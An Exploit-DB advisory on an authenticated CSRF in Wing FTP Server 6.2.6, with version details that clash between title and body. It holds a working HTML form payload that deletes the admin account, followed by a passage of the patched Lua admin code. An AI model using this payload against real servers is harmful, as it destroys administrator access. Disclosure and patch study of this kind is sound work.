Exploit-DB #48200
Description: Wing FTP Server - Authenticated CSRF (Delete Admin)
Type: webapps
Platform: php
Date: 2020-03-11
Author: Dhiraj Mishra

Exploit:
# Exploit Title: Wing FTP Server 6.2.3 - Privilege Escalation
# Date: 2020-03-10
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: https://www.wftpserver.com
# Version: v6.2.6
# Tested on: Windows 10

*Summary:*
An authenticated CSRF exists in web client and web administration of Wing
FTP v6.2.6, a crafted HTML page could delete admin user from the
application where as administration needs to re-install the program and add
admin user again. Issue was patched in v6.2.7.

*Proof of concept:*
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://IP:5466/admin_delete_admin.html" method="POST">
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="r" value="0&#46;[PII_REDACTED]" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

*Patch (lua/cgiadmin.lua):*
URL: https://www.wftpserver.com/serverhistory.htm

local outfunc = "echo"

local function out (s, i, f)
s = string.sub(s, i, f or -1)
if s == "" then return s end
s = string.gsub(s, "([\\\n\'])", "\\%1")
s = string.gsub(s, "\r", "\\r")
return string.format(" %s('%s'); ", outfunc, s)
end

local function translate (s)
s = string.gsub(s, "<%%(.-)%%>", "<??lua %1 ??>")
local res = {}
local start = 1
while true do
local ip, fp, target, exp, code = string.find(s, "<%?%?(%w*)[
\t]*(=?)(.-)%?%?>", start)
if not ip then break end
table.insert(res, out(s, start, ip-1))
if target ~= "" and target ~= "lua" then
table.insert(res, out(s, ip, fp))
else
if exp == "=" then
table.insert(res, string.format(" %s(%s);", outfunc, code))
else
table.insert(res, string.format(" %s ", code))
end
end
start = fp + 1
end
table.insert(res, out(s, start))
return table.concat(res)
end

local function compile (src, chunkname)
return loadstring(translate(src),chunkname)
end

function include (filename, env)
if incfiles[filename] == nil then
incfiles[filename] = true;
path = c_GetAppPath()
path = path .. "/webadmin/"..filename
local errstr = string.format("<b>The page '%s' does not
exist!</b>",filename)
local fh,_ = io.open (path)
if not fh then
echo_out = echo_out..errstr
return
end
local src = fh:read("*a")
fh:close()
local prog = compile(src, path)

local _env
if env then
_env = getfenv (prog)
setfenv (prog, env)
end

local status,err = pcall(prog)
if not status then
if type(err) == "string" and not string.find(err,"exit function!")  then
print(string.format("some error in %s!",err))
end
return
end
end
end

function var_dump(var)
print("{")
if type(var) == "string" or type(var) == "number" or type(var) == "boolean"
or type(var) == "function" then
print(var)
elseif(type(var) == "thread") then
print("thread")
elseif(type(var) == "userdata") then
print("userdata")
elseif type(var) == "nil" then
print("nil")
elseif type(var) == "table" then
for k,v in pairs(var) do
if type(k) == "string" then k="'"..k.."'" end
if(type(v) == "string") then
print(k.."=>'"..v.."',")
elseif(type(v) == "number" or type(v) == "boolean") then
print(k.."=>"..tostring(v)..",")
elseif(type(v) == "function") then
print(k.."=>function,")
elseif(type(v) == "thread") then
print(k.."=>thread,")
elseif(type(v) == "userdata") then
print(k.."=>userdata,")
elseif(type(v) == "nil") then
print(k.."=>nil,")
elseif(type(v) == "table") then
print(k.."=>table,")
else
print(k.."=>object,")
end
end
else
print("object")
end
print("}")
end

function init_get()
local MatchedReferer = true
if _SESSION_ID ~= nil then
local Referer = string.match(strHead,"[rR]eferer:%s?%s([^\r\n]*)")
if Referer ~= nil and Referer ~= "" then
local Host = string.match(strHead,"[hH]ost:%s?%s([^\r\n]*)")
if Host ~= nil and Host ~= "" then
if string.sub(Referer,8,string.len(Host)+7) == Host or
string.sub(Referer,9,string.len(Host)+8) == Host then
MatchedReferer = true
else
MatchedReferer = false
exit()
end
end
else
MatchedReferer = false
end
end

string.gsub (urlparam, "([^&=]+)=([^&=]*)&?",
function (key, val)
if key == "domain" then
if MatchedReferer == true then
rawset(_GET,key,val)
else
rawset(_GET,key,specialhtml_encode(val))
end
else
if MatchedReferer == true then
rawset(_GET,unescape(key),unescape(val))
else
--rawset(_GET,unescape(key),specialhtml_encode(unescape(val)))
end
end
end
)
end

function init_post()
local MatchedReferer = true
if _SESSION_ID ~= nil then
local Referer = string.match(strHead,"[rR]eferer:%s?%s([^\r\n]*)")
if Referer ~= nil and Referer ~= "" then
local Host = string.match(strHead,"[hH]ost:%s?%s([^\r\n]*)")
if Host ~= nil and Host ~= "" then
if string.sub(Referer,8,string.len(Host)+7) == Host or
string.sub(Referer,9,string.len(Host)+8) == Host then
MatchedReferer = true
else
MatchedReferer = false
exit()
end
end
else
MatchedReferer = false
end
end

if
string.find(strHead,"[cC]ontent%-[tT]ype:%s?multipart/form%-data;%s?boundary=")
then
string.gsub (strContent,
"[cC]ontent%-[dD]isposition:%s?form%-data;%s?name=\"([^\"\r\n]*)\"\r\n\r\n([^\r\n]*)\r\n",
function (key, val)
if key == "domain" then
if MatchedReferer == true then
rawset(_POST,key,val)
else
rawset(_POST,key,specialhtml_encode(val))
end
else
if MatchedReferer == true then
rawset(_POST,unescape(key),unescape(val))
else
--rawset(_POST,unescape(key),specialhtml_encode(unescape(val)))
end
end
end
)
else
string.gsub (strContent, "([^&=\r\n]+)=([^&=\r\n]*)&?",
function (key, val)
if key == "domain" then
if MatchedReferer == true then
rawset(_POST,key,val)
else
rawset(_POST,key,specialhtml_encode(val))
end
else
if MatchedReferer == true then
rawset(_POST,unescape(key),unescape(val))
else
--rawset(_POST,unescape(key),specialhtml_encode(unescape(val)))
end
end
end
)
end
end

function init_session()
if _COOKIE["UIDADMIN"] ~= nil then
_SESSION_ID = _COOKIE["UIDADMIN"]
SessionModule.load(_SESSION_ID)
end
end

function in